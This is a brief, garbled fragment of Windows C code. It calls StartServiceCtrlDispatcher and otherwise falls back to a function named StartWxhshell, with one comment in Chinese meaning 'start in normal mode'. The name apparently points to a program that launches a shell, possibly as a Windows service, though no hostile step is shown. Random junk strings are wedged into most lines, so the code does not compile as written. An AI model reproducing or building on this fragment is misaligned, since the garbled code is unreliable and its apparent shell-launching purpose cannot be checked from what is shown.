StartServiceCtrlDispatcher(DispatchTable); vINm2%*zJ
else $trvNbco
// 普通方式启动 ]ERPWW;^
StartWxhshell(lpCmdLine); Ia:n<sZU
$x]'6
return 0; >=c<6#:s<9
}